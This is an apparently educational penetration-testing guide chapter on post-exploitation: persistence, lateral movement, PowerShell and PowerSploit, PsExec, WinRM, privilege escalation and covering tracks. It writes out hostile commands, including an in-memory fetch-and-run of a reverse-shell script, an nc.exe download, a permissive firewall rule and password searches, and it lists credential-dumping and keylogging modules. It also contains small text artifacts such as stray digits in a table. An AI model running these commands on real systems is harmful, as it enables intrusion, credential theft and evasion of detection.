During a penetration testing engagement, after you exploit a vulnerability and compromise a system, you may perform additional activities to move laterally and pivot through other processes, applications, or systems to demonstrate how they could be compromised and how information could be exfiltrated from the organization. You may also maintain persistence by creating backdoors, creating new users, scheduling jobs and tasks, and communicating with a Command and Control (C2) Utilities to launch further attacks. At the end of your engagement, you should erase any evidence that you were in a compromised system by erasing logs and any other data that could allow detection.
Attackers don’t always rely on one-time exploits; instead, they often aim to maintain long-term access to compromised networks, especially if they can reach sensitive databases or file systems. With persistent access, they can carry out a range of malicious activities over time, such as slowly exfiltrating data. To avoid detection, they may split stolen files into small pieces and hide them in DNS queries, allowing them to quietly extract data over weeks or even months. There are many techniques attackers use to maintain a presence in a network, and it’s important to understand how they establish persistence and what actions they can take once inside. Demonstrating persistent access to exploited devices can highlight how slowly some organizations detect these threats, emphasizing the need for stronger detection and response capabilities.
After the exploitation phase, you need to maintain a foothold in a compromised system to perform additional tasks, such as installing and/or modifying services to connect back to the compromised system. You can maintain the persistence of a compromised system in a number of ways, including the following:
- Creating a bind or Reverse shell
- Creating and manipulating scheduled jobs and tasksIf you would like to learn more about network components organizations can monitor, check out
network traffic - MITRE ATT&CK®
Attackers can leverage different techniques to exfiltrate data, should you like to learn more, check out
data exfiltration techniques - MITRE ATT&CK®
- Creating custom daemons and processes
- Creating new users
- Creating additional backdoors
When you maintain persistence in a compromised system, you can take several actions, such as the following:
- Uploading additional tools
- Using local system tools
- Performing ARP scans and ping sweeps
- Conducting DNS and directory services enumeration
- Launching brute-force attacks
- Performing additional enumeration of users, groups, forests, sensitive data, and unencrypted files
- Performing system manipulation using management protocols (for example, WinRM, WMI, SMB, SNMP) and compromised credentials
- Executing additional exploits
You can also take several actions through the compromised system, including the following:
- Configuring port forwarding
- Creating SSH tunnels or proxies to communicate to the internal network
- Using a VPN to access the internal network
Command and Control (C2) Utilities#
Reverse shell#
Scheduled Jobs and Tasks#
Windows has a command that attackers can use to schedule automated execution of tasks on a local or remote computer. You can use this functionality for post-exploitation and persistence. You can take advantage of the Windows Task Scheduler to bypass User Account Control (UAC) if the user has access to its graphical interface. This is possible because the security option runs with the system’s highest privileges. When a Windows user creates a new task, the system typically doesn’t require the user to authenticate with an administrator account.
- You can access the scheduled tasks of a Windows system by navigating to
Start -> Administrative Tools -> Task Scheduler. Alternatively, you can press the Windows key+R to open the Run dialog box and then typetaskschd.mscand press Enter.
Scheduled tasks can also be used to steal data over time without raising alarms. In Windows, Task Scheduler can be leveraged to schedule jobs that may use a significant amount of CPU resources and network bandwidth. This is helpful when huge files are to be compressed and transferred over a network (especially if you set them to execute at night or during weekends, when no users will be on the victim’s system).
Custom Daemons, Processes, and Additional Backdoors#
Much as with scheduled tasks, you can create your own custom daemons (services) and processes on a victim system, as well as additional backdoors. Whenever possible, a backdoor must survive reboots to maintain persistence on the victim’s system. You can ensure this by creating daemons that are automatically started at bootup. These daemons can persist on the system to either further compromise other systems (lateral movement) or exfiltrate data.
New Users#
After you compromise a system, if you obtain administrator (root) access to the system, you can create additional accounts. These accounts can be used to connect to and interact with the victim system. Just as it is a best practice when configuring user accounts under normal circumstances, you (as an attacker) should create those alternate accounts with complex passwords.
Perform Lateral Movement, Detection Avoidance, and Enumeration#
Lateral movement (also referred to as pivoting) is a post-exploitation technique that can be performed using many different methods. The main goal of lateral movement is to move from one device to another to avoid detection, steal sensitive data, and maintain access to the devices to exfiltrate the sensitive data, which is data whose theft would have a severe impact to an organization. Such data typically should not be broadly shared internally or externally. Access to sensitive data should be limited and tightly controlled. Data exfiltration is the act of deliberately moving sensitive data from inside an organization to outside an organization’s perimeter without permission. In this section, you will learn the most common techniques for lateral movement.
NOTE Pass-the-hash is an example of a post-exploitation technique that can be used to move laterally and compromise other systems in the network. Because password hashes cannot be reversed, instead of trying to figure out what the user’s password is, an attacker can just use a password hash collected from a compromised system and then use the same hash to log in to another client or server system.
Post-Exploitation Scanning#
Lateral movement involves scanning a network for other systems, exploiting vulnerabilities in other systems, compromising credentials, and collecting sensitive information for exfiltration. Lateral movement is possible if an organization does not segment its network properly. Network segmentation is therefore very important.
NOTE Testing the effectiveness of your network segmentation strategy is very important. Your organization might have deployed virtual or physical firewalls, virtual local area networks (VLANs), or access control policies for segmentation, or it might use microsegmentation in virtualized and containerized environments. You should perform network segmentation testing often to verify that your segmentation strategy is appropriate to protect your network against lateral movement and other post-exploitation attacks.
After compromising a system, you can use basic port scans to identify systems or services of interest that you can further attack in an attempt to compromise valuable information.
You can scan for SMB shares that you may be able to log in to with compromised credentials or that the logged-in user of the compromised system may have access to. You can move files to or from other systems. Alternatively, you can instantiate an SMB share (via Samba or similar mechanisms) and copy files from a compromised system.
You can use remote access protocols, including the following, to communicate with a compromised system:
- Microsoft’s Remote Desktop Protocol (RDP)
- Apple Remote Desktop
- VNC
- X server forwarding
Using Metasploit to create an RDP connection. This Metasploit module enables RDP and provides options to create an account and configure it to be a member of the Local Administrators and Remote Desktop Users group. This module can also be used to forward the target’s TCP port 3389.
msf > use post/windows/manage/enable_rdp
msf post(windows/manage/enable_rdp) > show options
Module options (post/windows/manage/enable_rdp):
Name Current Setting Required Description
---- --------------- -------- -----------
ENABLE true no Enable the RDP Service and
Firewall Exception.
FORWARD false no Forward remote port 3389 to local
Port.
LPORT 3389 no Local port to forward remote
connection.
PASSWORD no Password for the user created.
SESSION yes The session to run this module
on.
USERNAME no The username of the user to
create.
meterpreter > runplaintextRemote Desktop’s main advantage over other tools, like Sysinternals, is that it gives you a full, interactive graphical user interface (GUI) of the remote compromised computer. From the remote connection, it is possible to steal data or collect screenshots, disable security software, or install malware. Remote Desktop connections are fully encrypted, and monitoring systems cannot see what you are doing in the remote system. The main disadvantage of Remote Desktop is that a user working on the compromised remote system may be able to detect that you are logged on to the system. A common practice is to use Remote Desktop when no users are on the compromised system or when compromising a server.
Legitimate Utilities and Living-off-the-Land#
Many different legitimate Windows legitimate utilities, such as PowerShell, Windows Management Instrumentation (WMI), and Sysinternals, can be used for post-exploitation activities. Similarly, you can use legitimate tools and installed applications in Linux and macOS systems to perform post-exploitation activities. If a compromised system has Python installed, for example, you can use it for additional exploitation and exfiltration. Similarly, you can use the Bash shell and tools like Netcat post-exploitation.
Using legitimate tools to perform post-exploitation activities is often referred to as living-off-the-land and, in some cases, as fileless malware. The term fileless malware refers to the idea that there is no need to install any additional software or binaries to the compromised system. Examples of living-off-the-land post-exploitation techniques include the following:
- PowerShell for Post-Exploitation Tasks
- PowerSploit and Empire
- BloodHound
- Windows Management Instrumentation for Post-Exploitation Tasks
- Sysinternals and PsExec
- Windows Remote Management (WinRM) for Post-Exploitation Tasks
PowerShell for Post-Exploitation Tasks#
You can use PowerShell to get directory listings, copy and move files, get a list of running processes, and perform administrative tasks. Table 8- 4 lists and describes some of the most useful PowerShell commands that can be used for post-exploitation tasks.
Useful PowerShell Commands for Post-Exploitation Tasks
| PowerShell Command | Description |
|---|---|
Get-ChildItem | Lists directories |
Copy-Item sourceFile.doc destinationFile.doc | Copies a file (cp,copy,cpi) |
Move-Item sourceFile.doc destinationFile.doc | Moves a file (mv,move,mi) |
Select-String -path c:\users \*.txt -pattern password | Finds text within a file |
Get-Content omar_s_passwords.txt | Prints the contents of a file |
Get-Location | Gets the present directory |
Get-Process | Gets a process listing |
Get-Service | Gets a service listing |
Get-Process | Export-Csv procs.csv | Exports output to a comma-separated values (CSV) file |
1..255 | % {echo "10.1.2.$$_"; ping -n 1 -w 100 10.1.2$_ | SelectString ttl} | Launches a ping sweep to the 10.1.2.0/24 network |
1..1024 | % {echo ((new-object Net.Sockets.TcpClient).Connect("10.1.2.3",$_)) "Port $_ is open!"} 2>$null | Launches a port scan to the 10.1.2.3 host (scans for ports 1 through 1024) |
(New-Object System.Net.WebClient).DownloadFile ("[http://10.1.2.3/nc.exe](https://www.google.com/search?q=http://10.1.2.3/nc.exe)", "nc.exe") | Fetches a file via HTTP (similar to the wget Linux command) |
Get-HotFix | Obtains a list of all installed hotfixes |
cd HKLM:\ ls | Navigates the Windows registry |
Get-NetFirewallRule -all New-NetFirewallRule -Action Allow -DisplayName LetMeIn - RemoteAddress 10.6.6.6 | Lists and modifies the Windows firewall rules |
Get-Command | Gets a list of all available commands |
The following PowerShell command can be used to avoid detection by security products and antivirus software:
PS > IEX (New-Object Net.WebClient).DownloadString('http:// /Invoke-PowerShellTcp.ps1')
This command directly loads a PS1 file from the Internet instead of downloading it and then executes it on the device.
Remote management in Windows via PowerShell (often called PowerShell [PS] remoting ) is a basic feature that a system administrator can use to access and manage a system remotely. An attacker could also take advantage of this feature to perform post-exploitation activities. https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/enable-psremoting ↗
PowerSploit#
PowerSploit is a collection of PowerShell modules that can be used for post-exploitation and other phases of an assessment.
Popular PowerSploit modules and scripts
| Module/Script | Description | |
|---|---|---|
| Invoke-DllInjection | Injects a DLL into the process ID of your choosing | |
| Invoke-ReflectivePE Injection | Reflectively loads a Windows PE file (DLL/EXE) into the PowerShell process or reflectively injects a DLL into a remote process1 | |
| Invoke-Shellcode2 | Injects shellcode into the process ID of your choosing or within PowerShell locally3 | |
| Invoke-WmiCommand4 | Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 cha5nnel | |
| Out-EncodedCommand | Compresses, Base64 encodes, and generates command-line output for a PowerShell payload script | |
| Out-CompressedDll | Compresses, Base64 encodes, and outputs generated code to load a managed DLL in memory | |
| Out-EncryptedScript | Encrypts text files/scripts | |
| Remove-Comments | Strips comments and extra whitespace from a script | |
| New-UserPersistence Option | Configures user-level persistence options for the Add-Persistence function | |
| New-ElevatedPersistence Option | Configures elevated persistence options for the Add-Persistence function | |
| Add-Persistence | Adds persistence capabilities to a script | |
| Install-SSP | Installs a security support provider (SSP) DLL | |
| Get-SecurityPackages | Enumerates all loaded security packages | |
| Find-AVSignature | Locates single-byte AV signatures, using the same method as Dsplit from “class101” | |
| Invoke-TokenManipulation | Lists available logon tokens, creates processes with other users’ logon tokens, and impersonates logon tokens in the current thread | |
| Invoke-Credential Injection | Creates logons with plaintext credentials without triggering a suspicious event ID 4648 (Explicit Credential Logon)1 | |
| Invoke-NinjaCopy2 | Copies a file from an NTFS-partitioned volume by reading the raw volume and parsing the NTFS structures3 | |
| Invoke-Mimikatz4 | Reflectively loads Mimikatz 2.0 in memory using PowerShel5l and can be used to dump credentials without writing anything to disk as well as for any functionality provided with Mimikatz | |
| Get-Keystrokes | Logs keys pressed, time, and the active window | |
| Get-GPPassword | Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences | |
| Get-GPPAutoLogon | Retrieves the autologon username and password from registry.xml if pushed through Group Policy Preferences | |
| Get-TimedScreenshot | Takes screenshots at regular intervals and saves them to a folder | |
| New-VolumeShadowCopy | Creates a new volume shadow copy | |
| Get-VolumeShadowCopy | Lists the device paths of all local volume shadow copies | |
| Mount-VolumeShadowCopy | Mounts a volume shadow copy | |
| Remove-VolumeShadowCopy | Deletes a volume shadow copy | |
| Get-VaultCredential | Displays Windows vault credential objects, including plaintext web credentials | |
| Out-Minidump | Generates a full-memory minidump of a process | |
| Get-MicrophoneAudio | Records audio from the system microphone and saves to disk | |
| Set-MasterBootRecord | Overwrites the master boot record with the message of your choice | |
| Set-CriticalProcess | Causes your machine to blue screen upon exiting PowerShell | |
| PowerUp | Acts as a clearinghouse of common privilege escalation checks, along with some weaponization vectors | |
| Invoke-Portscan | Does a simple TCP port scan using regular sockets, based rather loosely on Nmap1 | |
| Get-HttpStatus2 | Returns the HTTP status codes and full URL for specified paths when provided with a dictionary file3 | |
| Invoke-ReverseDnsLookup4 | Scans an IP address range for DNS PTR records5 | |
| PowerVi6ew | Performs network and Windows domain enumeration and exploitation | |
| Refer to https://github.com/PowerShellMafia/PowerSploit ↗ for a complete and up-to-date list of scripts. |
When you use PowerSploit, you typically expose the scripts launching a web service. PowerSploit scripts are located in /usr/share/windows-resources/powersploit. A simple web service is started using the command sudo python3 -m http.server 1337 (where 1337 is the port number). The compromised system then connects to the attacker’s machine (Kali) on port 1337 and downloads a PowerSploit script for data exfiltration.
Empire#
Another PowerShell-based post-exploitation framework is Empire, which is an open-source framework that includes a PowerShell Windows agent and a Python Linux agent. Empire implements the ability to run PowerShell agents without the need for powershell.exe. It allows you to rapidly deploy post-exploitation modules including keyloggers, bind shells, reverse shells, Mimikatz, and adaptable communications to evade detection. You can download Empire from https://github.com/EmpireProject/Empire ↗.
BloodHound#
You can use a single-page JavaScript web application called BloodHound that uses graph theory to reveal the hidden relationships in a Windows Active Directory environment. An attacker can use BloodHound to identify numerous attack paths. Similarly, incident response teams can use BloodHound to detect and eliminate those same attack paths. You can download BloodHound from the following GitHub repository: https://github.com/BloodHoundAD/Bloodhound ↗.
NOTE You can also use BloodHound to find complex attack paths in Microsoft Azure.
Windows Management Instrumentation (WMI) for Post-Exploitation Tasks#
Windows Management Instrumentation (WMI) is used to manage data and operations on Windows operating systems. You can write WMI scripts or applications to automate administrative tasks on remote computers. WMI also provides functionality for data management to other parts of the operating system, including the System Center Operations Manager (formerly Microsoft Operations Manager [MOM]) and Windows Remote Management (WinRM). Malware can use WMI to perform different activities in a compromised system. For example, the Nyeta ransomware used WMI to perform administrative tasks.
NOTE WMI can also be used to perform many data-gathering operations. Pen testers therefore use WMI as a quick system-enumerating tool.
Sysinternals and PsExec#
Sysinternals is a suite of tools that allows administrators to control Windows-based computers from a remote terminal. You can use Sysinternals to upload, execute, and interact with executables on compromised hosts. The entire suite works from a command-line interface and can be scripted. By using Sysinternals, you can run commands that can reveal information about running processes, and you can kill or stop services. Penetration testers commonly use the following Sysinternals tools post-exploitation:
- PsExec: Executes processes
- PsFile: Shows open files
- PsGetSid: Displays security identifiers of users
- PsInfo: Gives detailed information about a computer
- PsKill: Kills processes
- PsList: Lists information about processes
- PsLoggedOn: Lists logged-in accounts
- PsLogList: Pulls event logs
- PsPassword: Changes passwords
- PsPing: Starts ping requests
- PsService: Makes changes to Windows services
- PsShutdown: Shuts down a computer
- PsSuspend: Suspends processes
PsExec is one of the most powerful Sysinternals tools. You can use it to remotely execute anything that can run on a Windows command prompt. You can also use PsExec to modify Windows registry values, execute scripts, and connect a compromised system to another system. For attackers, one advantage of PsExec is that the output of the commands you execute is shown on your system (the local system) instead of on the victim’s system. This allows an attacker to remain undetected by remote users.
TIP The PsExec tool can also copy programs directly to the victim system and remove those programs after the connection ceases.
Because of the -i option, the following PsExec command interacts with the compromised system to launch the calculator application, and the -d option returns control to the attacker before the launching of calc.exe is completed: PsExec \VICTIM -d -i calc.exe
You can also use PsExec to edit registry values, which means applications can run with system privileges and have access to data that is normally locked. This is demonstrated in the following example: PsExec -i -d -s regedit.exe
Windows Remote Management (WinRM) for Post-Exploitation Tasks#
Windows Remote Management (WinRM) gives you a legitimate way to connect to Windows systems. WinRM is typically managed by Windows Group Policy (which is typically used for managing corporate Windows environments).
WinRM can be useful for post-exploitation activities. An attacker could enable WinRM to allow further connections to the compromised systems and maintain persistent access. You can easily enable WinRM on a Windows system by using the following command: Enable-PSRemoting -SkipNetworkProfileCheck -Force
This command configures the WinRM service to automatically start and sets up a firewall rule to allow inbound connections to the compromised system.
Post-Exploitation Privilege Escalation#
privilege escalation is the act of gaining access to resources that normally would be protected from an application or a user. This results in a user gaining additional privileges beyond those that were originally intended by the developer of the application.
- Vertical Privilege Escalation
a lower-privileged user accesses functions reserved for higher-privileged users (such as root or administrator access). - Horizontal Privilege Escalation
a regular user accesses functions or content reserved for other non-root or non-admin users. For instance, say that after exploiting a system, you are able to get shell access as the user omar. However, that user does not have permissions to read some files on the system. You then find that another user, hannah, has access to those files. You then find a way to escalate your privileges as the user hannah to access those files.
How to Cover Your Tracks#
After compromising a system during a penetration testing engagement, you should always cover your tracks to avoid detection by suppressing logs (when possible), deleting user accounts that could have been created on the system, and deleting any files that were created. In addition, after a penetration testing engagement is complete, you should clean up all systems. As a best practice, you should discuss these tasks and document them in the rules of engagement document during the pre-engagement phase. The following are a few best practices to keep in mind during the cleanup process:
- Delete all user accounts used during the test.
- Delete all files, executable binaries, scripts, and temporary files from compromised systems. A secure deletion method may be preferred. NIST Special Publication 800-88, Revision 1: “Guidelines for Media Sanitization,” provides guidance for media sanitation. This methodology should be discussed with your client and the owner of the affected systems.
- Return any modified systems and their configuration to their original values and parameters.
- Remove all backdoors, daemons, services, and rootkits installed.
- Remove all customer data from your systems, including attacking systems and any other support systems. Typically, you should do this after creating and delivering the penetration testing report to the client.
Steganography#
Attackers can use Steganography for obfuscation, evasion, and to cover their tracks. Steganography involves hiding a message or any other content inside an image or a video file.
To accomplish this task, you can use tools such as steghide.